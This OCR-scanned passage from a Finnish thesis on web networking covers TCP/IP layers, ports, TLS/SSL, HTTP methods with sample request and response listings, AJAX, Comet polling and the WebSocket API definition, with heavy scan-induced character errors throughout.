tason protokollat kéyttdvit alempaa tasoa ja rinnakkaiset tasot ovat yhteydessd toisiinsa. Mallin
verkkokerroksen protokolla on IP ja kuljteuskerroksen protokolla on yleisimmin TCP, mutta
nimestd huolimatta myds muita protokollia on mahdollista kdyttds, esimerkiksi UDP:td (taulukko
8). Toisinaan malli kuvataan ilman pohjimmaista eli fyysistd kerrosta.

Ensimmaiinen eli matalin taso on fyysinen taso kuten OSI-mallissa. Fyysiseen kerrokseen
kuuluu laitteet ja niiden kautta kulkevan sdhkovirran tai radiotaajuuksien ominaisuuksien
madritelmat ja matalimman tason laitteiden sisdisesti kdyttdmaét protokollat ja ajurit.

Toinen taso on linkkitaso. Linkkitaso sisdltdd verkkoyhteyslaitteen ajurit ja kiyttjarjestelmélle
ndkyvin rajapinnan. Linkkitasolla luodaan yhteys kahden péitepisteen vilille. Kolmas taso on
verkkotaso. Verkkotason tehtdvd on yhdistdd erilliset verkot toisiinsa. Verkot saattavat kayttaa

sisdiseen kommunikointii eri protokollia linkkitasolla. TCP/IP-viitemallin verkkotason protokolla
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on [P-protokolla. Neljis taso on kuljetustaso, jolla ~ TCP/IP-viitemallissa kuljetustason protokolla
on TCP tai UDP. Viides taso on sovellustaso, jonka protokolla valitaan sovelluksen mukaan.

Sovellustason protokollia on esimerkiksi FTP ja HTTP.

Taso Protokolla

5. Sovelluskerros Esim. HTTP

4. Kuljetuskerros TCP, UDP
3. Verkkokerros IP

2. Linkkikerros

Esim. Ethernet

1.

Fyysinen kerros

Ohjainajurit

Taulukko 8. TCP/IP-malli.

Moderniin tietoliikenneyhteyteen kuuluu useita muita eri tasojen protokollia. Tdmén tutkielman
kannalta oleellisia protokollia ovat pelkistddn kuljetus- ja sovellustason protokollat. Alemman
tason protokollia ei késitelld timén luvun esittelyd syvéllisemmin.

TCP- ja UDP-protokollat kayttivdt numeroituja verkkoportteja (engl. port) sovellusten
tunnistamiseen. Verkkoporteista kdytetdén tdstd eteen pdin termid portti. Porttien lukumiédrd on
65536. Tietyt portit ovat varattuja sovellustason protokollille. Taulukossa 9 on listattu muutamia
tunneteuimmista varatuista TCP-porteista. Internet Assigned Number Authority (IANA) vastaa

varattujen porttien numeroinnista.

Protokolla Portti
FTP 20,21
SSH 22

Telnet 23
HTTP 80
IRC 194

HTTPS 443

Taulukko 9. Esimerkkejd yleisimmistd varatuista porteista.

2.5. TLS/SSL

Tietoliikenteen salaamiseen (engl. cryptography) Internetissd kéytetddn Transport Layer Security
-protokollaa (TLS), joka tunnetaan myds nimelld Secure Socket Layer (SSL). Protokollan
madritelmd on RFC-5246. TLS salaa sovellustason tiedon ja vélittdd sen salatussa muodossa

kuljetustason protokollalle. Se siis toimii sovellustason ja kuljetustason vélissd. Salattujen viestien
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siséltdd ei voida lukea selkokielisend Internetin vilikdsissd (kuten vilityspalvelimissa), mutta
viestien otsakkeet sdilyvit tietenkin salaamattomana ja luettavissa.

TLS-protokolla voidaan jakaa kahteen tasoon. Ensimméinen taso on kéttelyprotokollan taso
(engl. handshake layer) ja toinen on tallennustaso. (engl. record layer) Kittelyprotokollan taso
koostuu kolmesta aliprotokollasta: Handshake-, ChangeCipherSpec- ja Alert-aliprotokollasta.
Handshake-aliprotokolla luo istunnon péitepisteiden vilille ja neuvottelee yhteyden aikana
kaytettidvistd avaimista. ChangeCipherSpec-aliprotokollalla péétepisteet vaihtavat salausavaimia
istunnon aikana. Alert-aliprotokollalla pédtepisteet ilmoittavat viesteilld yhteyden tilan muutoksista
vastapuolelle. Tyypillisid ilmoituksia ovat yhteyden sulkeminen, virhetilanteet ja virhe salauksen
purkamisessa.

Kittelyprosessissa Handshake-aliprotokolla vastaa osapuolien autentikoinnista, salauksesta,
hajautusfunktiosta ja kompressioalgoritmistd. Tdssd tutkielmassa ei késitelld ndiden funktioiden
yksityiskohtia. TLS/SSL kéyttdd asymmetriseen kryptografiaan perustuvia X.509-sertifikaatteja
padtepisteiden tunnistamiseen. Sertifikaatti on digitaalinen yksildivd tunnus, joita myontdvit
luotetut viraonomaiset (engl. certificate authority, CA).

Tiedon salauksessa kéytetddn jaettua (symmetristd) ja julkista ja yksityistd (asymmetristd)
avainta. Symmetriselld eli jaetulla avaimella samaa avainta kiytetdén tiedon salaamiseen ja
purkamiseen, jolloin molempien piétepisteiden on tunnettava symmetrinen avain. Symmetrinen
avain soveltuu suurien dataméérien salaamiseen, silld se on laskennallisesti nopeampaa kuin
asymmetristen avainten kayttd. Asymmetrinen salaus perustuu kahteen toisiina linkitettyyn
avaimeen: julkiseen ja yksityiseen, jotka muodostetaan monimutkaisella matemaattisella
prosessilla. Julkinen avain on kdytdnndsséd kaikkien saatavilla, mutta yksityinen avain on pidettava
ainoastaan sen hallitsijan tiedossa. Avaimet ovat suhteessa toisiinsa siten, ettd ne tekevit toistensa
vastaoperaation; jos julkisella avaimella salataan tieto, niin vain yksityiselld avaimella salaus
voidaan purkaa, ja pdin vastoin. Hajautusalgoritmeja kaytetddn tiedon eheyden tarkistamiseen.
Yleisimmat hajautusalgoritmit ovat MD5 ja SHA-1.

Tallennustason protokolla kisittelee sovellukselta tulleen tiedon ja salaa sen kéttelyprosessissa
médritellylld algoritmilla ja avaimella. Tieto voidaan kompressoida ja fragmentoida ennen kuin

tallennustaso siirtdd sen kuljetustason protokollalle.

2.6. HTTP/S-protokolla

Sovellustason alapuoliset protokollat ovat jokseenkin standardoituneet muutamien protokollien
ympdrille, kuten IP:n ja TCP:n. Sovellustason protokollia puolestaan on huomattavasti laajempi
kirjo. WWW:n perustavanlaatuisin sovellusprotokolla on Hypertext Transfer Protocol (HTTP),
jonka virallinen maéritelmd on RFC-2616. HTTP alunperin kehitettiin vilittimain yksinkertaisia
hyperlinkeilld yhteen linkitettyjad staattisia sivuja, jotka kuvataan HyperText Markup Language
(HTML) merkintékielella.
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HTTP-protokollan kryptattu versio HTTPS (Hypert Text Transfer Protocol Secure) muodostaa
yhteyden = TLS/SSL-protokolla  tason  péélle.  TLS-tason  kéyttdmien  asymmetristen
kryptografiamenetelmien avulla HTTP-viestin sisélto salataan, jolloin viestid valittdvét isdnnét eivit
voi lukea viestin sisdltdod selkokielisend. TLS-salauksen on osoitettu tarjoavan tdysin luotettavan
tietosuojan [Gajek et al,, 2008]. Toteutuksen on tosin oltava huolellisesti suunniteltu ja kehitetty.
Esimerkiksi suositussa OpenSSL-kirjastossa ilmeni kevidilld 2014 vakava tietoturva-aukko, joka
mahdollisti salaamattoman tiedon vuotamisen ulkopuolisille osapuolille.

HTTP noudattaa asiakas ja palvelin -arkkitehtuuria ja se perustuu kysely- (engl. request) ja
vastaus (engl. response) pareihin. Asiakasohjelma, joka tyypillisesti on Internet selain (tdstd 1dhtien
kiytetddn termid selain) ldhettdd pyynnon HTTP-palvelinohjelmalle, joka vastaa pyyntoon
padsdantoisesti tallentamatta mitddn tilatietoa  yhteydestd tai  asiakkaasta. Joissakin
erikoistapauksissa pyynndstd saatetaan tallentaa jotain tietoa esimerkiksi valimuistittamiseksi.
HTTP on siis puolittaisesti kaksisuuntainen protokolla. HTTP-asiakasohjelmia kutsutaan myds
kayttdjdagenteiksi (engl. user agent).

Keskeinen késite HTTP-protokollan ajattelumaailmassa on resurssi. HTTP-palvelimien
tarjoamat palvelut perustuvat niiden tarjoamiin resursseihin. Resursseja ovat esimerkiksi WWW-
sivut. Resurssit médritelldén ja identifioidaan URI:en perusteella, josta on esimerkki taulukossa 10.
HTTP-URI alkaa protokollamdireen tunnuksella, joka on joko http:// tai https://. Tunnuksen jdlkeen
médritellddn palvelimen isédnnédn osoite joko verkko-osoitteena tai suoraan IP-osoitteena. Isdnndn
jélkeen voi valinnaisesti madrittdd portin numeron. Resurssin nimi méadritelldén kenoviivan perdssa.
Resurssille voidaan my0s madrittdd parametreja. Portti ja parametrit ovat valinnaisia.
Salaamattoman HTTP-protokollan (http://) oletusportti on 80 ja salatun (https://) 443.

http:// Isannan osoite [:portti] / resurssin nimi | [?parametrit]

http://www.esimerkki.org/foorumi.html?viestiId=98

Taulukko 10. HTTP-protokollan URL-malli ja esimerkki.

Myos HTTP-protokollan médritelmédin kuuluu otsaketiedot. HTTP-otsakkeet eroava monella
tavalla muiden alempien tasojen protokollien otsakkeista. Aikaisemmin esitetyt protokollaotsakkeet
muodostuvata 1dhinni tietokentistd, joilla on tarkasti mééritellyt arvot ja niiden tulkinnat. HTTP
pyynnon ja vastauksen otsakkeet eivit myoOskddn ole tdsmilleen samanlaiset. Otsakkeet
maédritelldén riveittdin tarkkojen tietokenttien sijaan. Pyynnon ja vastauksen varsinainen sisdlto
liitetddn otsakerivien perddn. Listauksessa 1 on esimerkki HTTP-pyynnostd ja listauksessa 2
vastauksesta.

Pyynnon otsake alkaa pyyntorivilld ja sitd voi seurata yksi tai useampi otsakerivi. HTTP-
otsakkeella viitataan tdstd lahtien HTTP-pyynnon tai vastauksen otsakeriviin. Ensimmaéiselld rivilla

on pyynnon HTTP-metodi, jonka perdssd vililyonnin jilkeen resurssin nimi. Resurssin perédssi
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vélilyonnin jilkeen mééritelldén protokollan versio. Jokainen otsake alkaa uudelta riviltd otsakkeen
nimelld, jonka perdssd kaksoispisteen jdlkeen annetaan otsakkeen sisdltimi arvo listauksen 1
mukaisesti. Pyyntoon liitettdvé varsinainen viestisisalto liitetddn otsakelistauksen peréan.
Vastauksen otsake alkaa my0s statusrivilld, jonka muoto tosin poikkeaa pyynnon aloitusrivista
(listaus 2). Ensimmdisend rivilld mdééritellddn protokollan versio, sen jdlkeen vililyonnilld
eroteltuna statuskoodi, jonka jédlkeen vililyonnilld eroteltuna lyhyt kuvaus vastauksen tilasta
tekstimuodossa. Statusrivin jdlkeen myds vastaukseen voidaan liittdd mielivaltainen maarda HTTP-
otsakkeita. My0s vastauksen varsinainen viestisidlto liitetdén otsakelistauksen perddn yhden tyhjan

rivin jélkeen listauksen 2 mukaisesti.

GET / HTTP/1.1

User-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388
Version/12.17

Host: www.wikipedia.org

Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap,
*/*;0=0.1

Accept-Language: en,fi-FI;g=0.9,fi;q=0.8

Accept-Encoding: gzip, deflate

Cookie: GeoIP=FI:Tampere:61.5000:23.7500:v4

Cache-Control: no-cache

Connection: Keep-Alive

Listaus 1. Esimerkki HTTP-pyynnosta.

HTTP/1.1 200 OK

Server: Apache

Cache-control: s-maxage=3600, must-revalidate, max-age=0
Content-Encoding: gzip

Vary: Accept-Encoding

Content-Type: text/html; charset=utf-8
Content-Length: 11186

Accept-Ranges: bytes

Date: Fri, 13 Jun 2014 ©7:01:21 GMT
Age: 2376

Connection: keep-alive

<!DOCTYPE html>

<html lang="mul" dir="1ltr">
<head>

Listaus 2. Esimerkki HTTP-vastauksesta.
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HTTP-madritelmdén kuuluu useita metodeja, joilla on oma semanttinen merkitys. Metodien
toiminnallisuutta ei tosin ole sidottu, joten HTTP-palvelinsovellukset voivat toteuttaa jokaisen
metodin toiminnon omalla tavallaan. Erilaisilla arkkitehtuurimédrityksilld voidaan sitoa metodien
toiminto. Esimerkiksi luvussa 4 esiteltdvd REST-arkkitehtuuri sitoo tietyt metodit tiettyihin
toiminnallisuuksiin.

GET-metodilla haetaan URI:n miérittelemad resurssia. Silld ei pitéisi olla mitddn vaikutusta
palvelinsovelluksen tai sen takana olevan tietomallin tilaan.

HEAD-metodi on kéytinnossd sama kuin GET, mutta HEAD palauttaa ainoastaan otsaketiedot.
Vastauksesta jétetddn varsinainen siséltd pois kokonaan. Télld metodilla voidaan hakea metatietoa
resurssista, mistd voi joissain tilanteissa olla hyotya.

POST-metodilla luodaan uusi resurssia vastaava entiteetti. Entiteetin tiedot vélitetdén pyynnon
viestisisdllossa.

PUT-metodilla palvelinta pyydetdédn péivittimiin resurssia vastaava entiteetti tai, jos entiteettid
ei ennestdin ole, luomaan uusi. Kahden identtisen perdkkdisen PUT-pyynnon jélkeen tietomallin
tila tulisi olla tdysin identtinen.

DELETE-metodilla pyydetdédn poistamaan resurssi.

TRACE-metodilla palvelin palauttaa pyynnon takaisin asiakkaalle. Asiakas voi siten tarkistaa
tapahtuuko sen ldhettdmiin pyyntdihin muutoksia reitittimissa.

OPTIONS-metodi palauttaa ne metodit, jotka palvelin hyvéksyy resurssia kohtaan.

CONNECT-metodi muuttaa pyynnén TCP/IP-tunneliksi.

PATCH-metodilla vilitetdédn osittaisia muutoksia resurssiin.

Palvelimen vastaukseen kuuluu aina statuskoodi. Statuskoodit noudattavat HTTP-méaéritelméan
mukaista madritelmiéd ja ne on jaettu luokkiin. Esimerkiksi luokkaa 2xx olevat koodit osoittavat

onnistuneesta pyynnosté ja 4xx-luokan koodit kertovat virheesta.

2.7. Verkkosivujen esitysteknologiat
Verkkosivulla  tarkoitetaan  p#ddasiassa  staattista  sisdltod  tarjoilevaa ~ WWW-sivua,
verkkosovelluksella puolestaan tarkoitetaan sovellusta, jonka kayttoliittymand toimii HTML-
pohjainen verkkosivu. Verkkosovellus rakentuu vihintdén kahdesta erillisestd osasta, jotka voi ja
usein ovat erillisid prosesseja eri isdnnilld. Verkkosovelluksen kéyttoliittymé (engl. front-end) on
selaimessa ajettava ohjelma, joka muodostuu useista osista. Verkkosovelluksen tietomalli ja
varsinainen sovelluslogiikka (engl. back-end) suoritetaan palvelimella. Edelleen tietomalli ja
logiikkasovellus voivat olla erillisid prosesseja eri isdnnilld. Myos sovelluksen logiikkataso voidaan
jakaa useiksi prosesseiksi, jotka sisdisesti muodostavat oman asiakas ja palvelin -arkkitehtuurin.
Verkkosovelluksen kayttoliittyma esitetdin usein HTML-pohjaisena sivuna. Sovelluksen
tietomalli on keskitetty tietokanta ja logiikka suoritetaan usein erilliselld palvelimella. Tietokanta ja

logiikka saattavat olla erillisilla palvelimissa ja eri isdnnilla.
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Verkkosivujen ja -sovellusten esitystason teknologiana kiytetdédn merkintdkieltd (engl. markup
language) HTML (Hyper Text Markup Language). Merkintékielilld kuvataan ndkymaén, tiedon tai
minkd tahansa entiteetin rakenne metainformaatiolla. HTML-kielelld jdsennetidn verkkosivun
oli pddasiassa tekstid, joten valtaosa HTML:n aikasemmista versioista kisittelee ldhinni staattisen
tekstin esittdmistd. Tuorein merkittdvd versio HTML:std on HTMLS, johon tuotiin huomattava
méérd uusia elementtejd, joilla voidaan esittdd interaktiivista sisdltod ja toistaa multimediaa. Termid
HTMLS kéytetddn myds kokoamaan joukko uusia verkkoteknologioita.

WWW:n alkuperdinen tarkoitus oli jakaa harvoin sisélloltddn muuttuvia sivuja, joiden rakenne
koodattiin HTML:114. Tiedon pdivittyessa HTML-sivua muutettiin kdsin ja pdivitetty sivu
tallennettiin palvelimelle, minkd seurauksena kéyttdjat saivat pdivitetyn sivun. Sivuill alettiin
kuitenkin kaipaamaan dynaamista sisdltod, joka oli yksilollinen jokaiselle kéyttéjélle.
Palvelinympéristdihin kehitettiin dynaamisia HTML-sivuja tuottavia ohjelmointiteknologioita. PHP
on erds tunnetuimmista palvelinpdén ohjelmointityokaluista, joilla luodaan dynaamisesti HTTP-
pyynnon yhteydessé sisdltod HTML-sivulle ennen kuin se ldhetetidén vastauksessa asiakkaalle.

Sittemmin palvelinympéristdjen dynaamisen sisdllon ohjelmointitydkalut ovat kehittyneet
rdjadhdysmaisesti. Nykyisin suosittuihin ohjelmointitydkaluihin kuuluu muun muassa Javan JSP-
teknologia, .NET-ymparisto ja JavaScript-pohjainen Node.js.

Verkkosovelluksien interaktiivisuus tuotetaan selaimessa tulkattavilla komentosarjakielilld
(engl. script language). Ylivoimaiseksi suosikiksi on vuosien saatossa noussut JavaScript-
komentosarjakieli. Komentosarjakielien tulkkausohjelma (kdytetddn myos nimitystd moottori) on
osa verkkoselainta, ja selain tarjoaa rajapinnan komentosarjakoodin suorittamiseksi.
Komentosarjakooditiedostot vilitetdén selaimeen HTTP-pyynnéilld, kuten muukin verkkosivun
sisalto.

Avoimien komentosarjakielien lisdksi verkkosovelluksia kehitetddn kolmansien osapuolien
kehittdmillad yksityisilld ohjelmointitydkaluilla ja teknologioilla. Adoben kehittdmé Flash-ympéristo
on erds laajasti kdytetty kolmannen osapuolen teknologia.

Vaikka verkkosivu pystytdéin luomaan dynaamisesti pyynnon yhteydessd verkkosovellusten
yleiseksi ongelmaksi ilmeni koko sivun péivittdiminen, kun vain osa verkkosovelluksen
kayttoliittymdstd tarvitsi pdivittdmistd. Sivunlatauksella selain ldhettdd pyynnon koko sivun
uudelleenlataamiseksi, joka on hidas prosessi. Tatd ongelmaa ratkomaan kehitettiin Asymmetric
JavaScript And XML (AJAX) -teknologia. AJAX ei ole yksittdinen ohjelmointiteknologia, vaan se
koostuu joukosta erillisid teknologioita. AJAX:ssa yhdistyy seuraavat teknologiat:

1. HTML-standardin mukainen esityskerros

2. Dynaaminen nidkymén hallinta DOM-tekniikalla

3. Avoimeen standardiin perustuva tiedonkasittely
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4. Asynkroninen tiedon haku

5. JavaScript-rajapinta.

AJAX:iin kuuluva selainrajapinnan Xm/HttpRequest-olio tarjoaa JavaScript-rajapinnan
asymmetristen HTTP-kutsujen muodostamiseen. XmlIHttpRequest -olio tuottaa HTTP- tai HTTPS-
protokollan mukaisen kutsun, joten AJAX:lla on mahdollista tehdd puolittainen kaksisuuntaisia
kyselyja palvelimelle.

Nimestddn huolimatta AJAX:n vélittdmén tiedon ei tarvitse olla XML-muodossa, ja nykydén
useammin AJAX:n kanssa kuljetettava tieto on JSON-muodossa. JSON on huomattavasti kevyempi
formaatti XML:4én nidhden.

Verkkosovelluksissa on alettu kaipaamaan yhd enemmén interaktiivisuutta, ja my0s tayttd
kaksisuuntaista yhteyttd selaimen ja palvelimen vilille on pyritty rakentamaan erilaisilla
ohjelmointitekniikoilla ja erillisilld teknologioilla. Koska WWW on rakennettu hyvin pitkélle
HTTP-protokollan piélle, on sen avulla pyritty kehittdméén tekniikoita, joilla luodaan jonkinlainen
kaksisuuntainen yhteys selaimen ja HTTP-palvelimen vélille. Naistd tekniikoista kéytetddn
yleisnimitystd Comet. Vaikka HTTP kiyttdd kuljetuskerroksena pédasiassa TCP:td, joka on
yhteyden muodostava protokolla ja siten mahdollistaa tdyden kaksisuuntaisen yhteyden, on HTTP
itsessdédn vain puolittain kaksisuuntainen.

Tyypillisimmét Comet-tekniikat ovat HTTP poll ja HTTP long-poll, joista molemmat ovat niin
sanottuja kyselytekniikoita (eng. polling). Kyselytekniikka tarkoittaa karkeasti sitéd, ettd péivitetyn
datan saamiseksi asiakkaan on jatkuvasti tai tietyin véliajoin kysyttavd palvelimelta (tai muulta
keskitetyltd prosessilta tai tietomallilta, joka omaa uusimman tiedon), onko tieto tai resurssi
péivittynyt ja haettava péivitetty tieto.

HTTP poll -tekniikalla asiakasohjelma kutsuu palvelinta tietylld aikavililld haetun resurssin
paivittamiseksi. Palvelin vastaa normaaliin tapaan vélittdmasti jokaiseen pyyntoon. HTTP long-poll
-tekniikalla, samoin kuin HTTP poll, asiakas ldahettdad palvelimelle tiedon péivityspyyntdja. Palvelin
ei kuitenkaan vilttimattd vilittomisti vastaa pyyntdon, vaan se jéttdd vastauksen odottamaan
kunnes haettu resurssi on péivittynyt tai tietty aika on tiyttynyt. HTTP poll ja long-poll tekniikoita
tarkastellaan hieman tarkemmin my6hemmin luvussa 4.

Comet-tekniikat karsivdt HTTP-protokollan raskaasta otsaketiedosta, jotka ldhetetddn jokaisella
pyynnolld. Usein kyselytekniikoilla ei ole tarpeellista ldhettdd kaikkea otsaketietoa jokaisella
pyynnolld. Lisdksi HTTP-protokollan pédlle rakennetut kaksisuuntaista yhteyttd simuloivat
tekniikat kérsivdt hatarasta suunnittelusta. Uuden kaksisuuntaisen verkkoprotokollan kehittdminen
aloitettiin osana HTMLS-spesifikaatiota ja siitd kéytetddn nimitystd websocket-protokolla.

Seuraavassa luvussa paneudutaan tarkastelemaan websocket-protokollan teknisid yksityiskohtia.
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3. Websocket-teknologia

Websocket-teknologian kehittiminen aloitettiin alun perin osana HTMLS5-spesifikaatiota ja
protokolla standardoitiin vuonna 2011. Myohemmin protokolla kuitenkin eriytettiin itsenéiseksi
kokonaisuudeksi, tosin vieldkin kirjallisuudessa usein puhutaan websocket-teknologiasta HTMLS5:n
yhteydessd. Websocket-protokolla mééritellddn RFC:ssd numero 6455. Protokollasta vastaava IETF
tyoskentelee ldheisesti World Wide Web Consortiumin (W3C) kanssa, joka puolestaan kehittdd
websocket-rajapintaa, jonka kautta selaimilla voidaan avata yhteys websocket-protokollan yli.
Yhdessé rajapinnan kanssa websocket-protokolla muodostaa websocket-teknologian. Protokolla- ja
rajapintamééritelmé ovat avoimia.

Websocket-teknologia  mahdollistaa  tdyden  kaksisuuntaisen yhteyden selain- ja
palvelinohjelmistojen viélille yhden TCP-verkkopistokkeen yli. Teknologia on alun perin
suunniteltu korvaamaan aiemmin tidhén tarkoitukseen yleisesti kdytetyt, mutta suunnittelultaan ja
tehokkuudeltaan heikommat ohjelmointitekniikat ja teknologiat [Fette et al, RFC-6455 2011;
Wang et al., 2013]. Aiemmin kaksisuuntaisen yhteyden avaamiseen selaimesta kiytettiin HTTP-
pohjaisia Comet-tekniikoita. Kuten aiemmin on esitetty, HTTP on vain puolittain kaksisuuntainen
protokolla, minkd takia Comet-tekniikat kérsivdt heikommasta suorituskyvystd ja niiden
suunnittelun perusteita voidaan pitdd kyseenalaisena. Lisdksi kolmannet osapuolet (eli yksityiset
yritykset) ovat kehittdneet ohjelmointiteknologioita, jotka tarjoavat tdyden kaksisuuntaisen
yhteyden asiakkaan ja palvelimen vilille. Tunnettu esimerkki kolmannen osapuolen teknologioista
on Adoben kehittdmd Flash, joka on laajasti kdytossd verkkosovelluskehityksessd [Kontaxis and
Antoniades, 2011]. Yksityisten tahojen kehittimait teknologiat eivét luonnollisesti useinkaan ole
avoimia.

Websocket-yhteyden yli ldhetetty data voi olla UTF-8-koodatussa tekstimuodossa tai
binddrimuodossa. Tiedon ldhettiminen kuvataan tarkemmin seuraavissa aliluvuissa. Websocket-
protokolla sijoittuu OSI-mallissa sovellustasolle, mutta protokolla mahdollistaa ylempien
sovellustasojen protokollien kayttamisen.

Kuljetustason protokollana websocket-protokolla kayttdda TCP-protokollaa. TCP-yhteydelld
tietoliikkenne perustuu datavirtaan, mutta websocket-protokolla jakaa ldhetettivdn datan erillisiin
paketteihin. Se siis tavallaan yhdistdd UDP-tyylisen paketteihin jakamisen TCP:n luotettavaan ja
jatkuvaan yhteyteen. Yhteys padtepisteiden vélille muodostetaan yhden TCP-verkkopistokkeen yli.

Websocket-protokollan kehityksessd on pyritty huomioimaan nykyinen verkkoinfrastruktuuri,
joka on rakennettu pitkdlti WWW:n ja sen myotd HTTP-protokollan ehdoilla. Websocket-
protokollan  liittdminen nykyisiin verkkoihin on haluttu pitdd mahdollisimman vaivattomana.

Tutkimuksissa on tosin kdynyt ilmi, ettd kdytdnnossa laajasti kdytettyjen verkkolaitteiden kanssa voi
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ilmetd yhteensopivuusongelmia [Cassetti, 2011]. Ongelmia voi myds ilmetd myds muiden IPS-
turvalaitteiden (engl. intrusion preventation system) toiminnassa [Cassetti, 2011], silld websocket-
teknologia on vield verrattain nuori muihin teknologioihin ndhden, ja etenkin tietoliikennettd
analysoivat laitteet eivét vilttimittd tunne teknologiaa. Selaintuki on myds huomioitava uuden
teknologian esiintyessd. Tdman tutkielman tekemisen aikana ilmeni, etti kaikki yleisimmat selaimet
tukevat websocket-protokollaa ainakin jollain tavalla, mutta kattava selaintukitutkimus on timén
tutkielman laajuuden ulkopuolella.

Yhteensopivuus verkkoinfrastruktuurin kanssa on huomioitu siten, ettd websocket-yhteys
aloittaa eldminsd HTTP-kyselynd ja sen oletusportit ovat samat kuin HTTP-protokollalla: 80 ja
443. Tastd on paljon hyotyd protokollan kayttdon ottamiselle, silld kyseisilld porteilla on
erikoisasema nykyisissd palomuureissa ja vélityspalvelimissa sekd useissa kayttojérjestelmissa.
Esimerkiksi Linux-kéyttdjarjestelmissd verkkoportit alle 1024 ovat varattu. Léhiverkkojen, kuten
yritys- ja kotiverkkojen palomuureihin ei tarvitse avata ylimédrdisid portteja websocket-
protokollalle.

Yhteys asiakas- ja palvelinohjelman valilld websocket-protokollalla on siis tdysin asynkroninen,
mikd mahdollistaa sen, ettdi molemmat pditepisteet voivat aloittaa tiedon ldhettdimisen riippumatta
vastaanottajan tilasta. Websocket-protokollaa voidaan kéyttdd missd tahansa asiakas ja palvelin
-arkkitehtuurin toteuttavassa jérjestelmdssd. Lahtokohtaisesti websocket-protokolla on kuitenkin
suunniteltu selainten kéytettdviksi, mutta asiakasohjelma voi periaatteessa olla mikd tahansa
ohjelma, joka toteuttaa protokollan. Kéytdnnossd websocket-protokolla ei tarjoa erityistd hyotyd
muille, kuin selaimissa ajettaville verkkosovelluksille, silld se on suunniteltu toimimaan HTTP-
valtaisessa verkkoympéristossd. HTTP-yhteensopivuus tuo tiettyd ylimdérdistd monimutkaisuutta,
mika ei kaikkien puhtaiden asiakkaiden kannalta ole tarpeellista.

HTTP-yhteensopivuudesta on hyotyd myds palvelinohjelmien kehittdimisessd. Koska
oletusportit ovat samat kuin HTTP-protokollalla, sama palvelinohjelma voi palvella HTTP- ja
websocket-yhteyksid  samasta  portista. On  kuitenkin  mahdollista, ettd websocket-
protokollamédritelma elda ja seuraavat versiot tulevat etdéintymédan HT TP-protokollasta.

Websocket-protokollan yhteys voidaan myos viestid kryptaamattomana tai kryptattuna
TLS/SSL-tason yli, kuten HTTP. Suojatun websocket-yhteyden URI:n etuliite on wss:// kun
suojaamattomana etuliite on ws://. Suojaamattoman yhteyden oletusportti on 80 ja suojatun 443.

Websocket URI esitellddan seuraavassa kohdassa.

3.1. Websocket-rajapinta

Yhteyden avaus tapahtuu luomalla WebSocket-olio, jolle annetaan parametrind websocket-URI.
Esimerkki rakentimesta on listauksessa 3. Rakennin ottaa my0s valinnaisena parametrind joko
yksittdisen merkkijonon tai listan merkkijonoja sovellustason protokollista. Rakentimen

palauttaman olion kautta asetetaan takaisinkutsufunktiot websocket-rajapinnan tapahtumille.
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Rajapinnan tarjoavat tapahtumat ovat yhteyden avaaminen (onopen()), viestin saapuminen
(onmessage()), yhteyden sulkeminen (onclose()) ja virheen tapahtuminen (onerror()). N&iden
takaisinkutsufunktioiden lisdksi rajapintaan kuuluu neljd funktiota viestin ldhettimiseen eri
tietotyypeille (send(DOMString), send(Blob), send(ArrayBuffer) ja send(ArrayBufferView)) ja
funktio yhteyden sulkemiselle (close()). Sulkemisfunktiolle annetaan valinnaisinia parametreini
sulkemiskoodi ja tekstimuotoinen selitys yhteyden sulkemiselle.

Var websocket = WebSocket(“ws://esimerkki.org/websocket”,
[“protokollal”, “protokolla2”]);

Listaus 3. Websocket rakennin.

Rajapintaméddritelméén kuuluu myos yhteyden tilan médrittiminen. Yhteys voi olla kerrallaan
yhdessd kolmesta tilastaz: CONNECTING, OPEN, CLOSED. Yhteys asetetaan tilaan
CONNECTING Kkéttelyprosessin ajaksi. Kattelyprosessi esitellddn tarkemmin seuraavassa
aliluvussa. Onnistuneen kéttelyprosessin jélkeen yhteys asetetaan tilaan OPEN, jolloin yhteys on
auki ja voi ldhettdd ja vastaanottaa viestejd. Sulkemiseen myds kuuluu prosessi, jonka ajaksi tilaksi
asetetaan CLOSING. Yhteyden sulkemisen jélkeen yhteys asetetaan tilaan CLOSED. Rajapinnan

madritelma on listauksessa 4.
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enum BinaryType { "blob", "arraybuffer" };
[Constructor(DOMString url, optional (DOMString or DOMString[]) protocols),
Exposed=Window,Worker]
interface WebSocket : EventTarget {
readonly attribute DOMString url;

// ready state

const unsigned short CONNECTING = O;

const unsigned short OPEN = 1;

const unsigned short CLOSING = 2;

const unsigned short CLOSED = 3;

readonly attribute unsigned short readyState;
readonly attribute unsigned long bufferedAmount;

// networking
attribute EventHandler onopen;
attribute EventHandler onerror;
attribute EventHandler onclose;
readonly attribute DOMString extensions;
readonly attribute DOMString protocol;
void close([Clamp] optional unsigned short code, optional DOMString reason);

// messaging
attribute EventHandler onmessage;
attribute BinaryType binaryType;
void send(DOMString data);
void send(Blob data);
void send(ArrayBuffer data);
void send(ArrayBufferView data);

}s
Listaus 4. Websocket rajapinnan mairitelma.

Websocket ohjelmointirajapinta huolehtii kokonaan kéttelyprosessista. Sovelluskehittdjin
tarvitsee méadritelld vain takaisinkutsufunktiot saapuville viesteille ja viestien ldhettdmiselle. Ndiden
kiytdnnossd pakollisten funktioiden liséksi rajapinta tarjoaa muita takaisinkutsufunktioita.
Websocket-rajapinta on tdysin tapahtumavetoinen (engl. event driven), eli sovellustasolla ei tarvitse
kutsua rajapinnan funktioita, rajapinta kutsuu sovelluksen funktioita. Rajapinnalla voi l&hettdé dataa
eri tietotyypeilld. Binddtimuodon tutetut tyypit ovat JavaScriptin Blob, ArrayBuffer ja
ArrayBufferView.

Jo télld hetkelld on olemassa useita ohjelmistokirjastoja, jotka helpottavat websocket-rajapinnan
ja protokollan kdytt6d niin selaimessa kuin palvelinpuolella. Témén tutkielman kéytdnnon osuuden
ohjelmoimiseen kéytettiin Socket.io-kirjastoa selain- ja palvelinpdédssd. Lisdksi palvelimen
toteuttamiseen kéytettiin Node.js.

Seuraavaksi esitellddn websocket-protkollan méairittely kuten se on esitetty RFC-6455:ss4.
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3.2. Yhteyden muodostaminen

Websocket-yhteys avataan 1dhettdmailla palvelinohjelmalle kéttelypyynto (engl. handshake request).
Asiakasohjelma aloittaa yhteyden ldhettimélla avauspyynnon. Palvelin ei voi koskaan ldhettdd
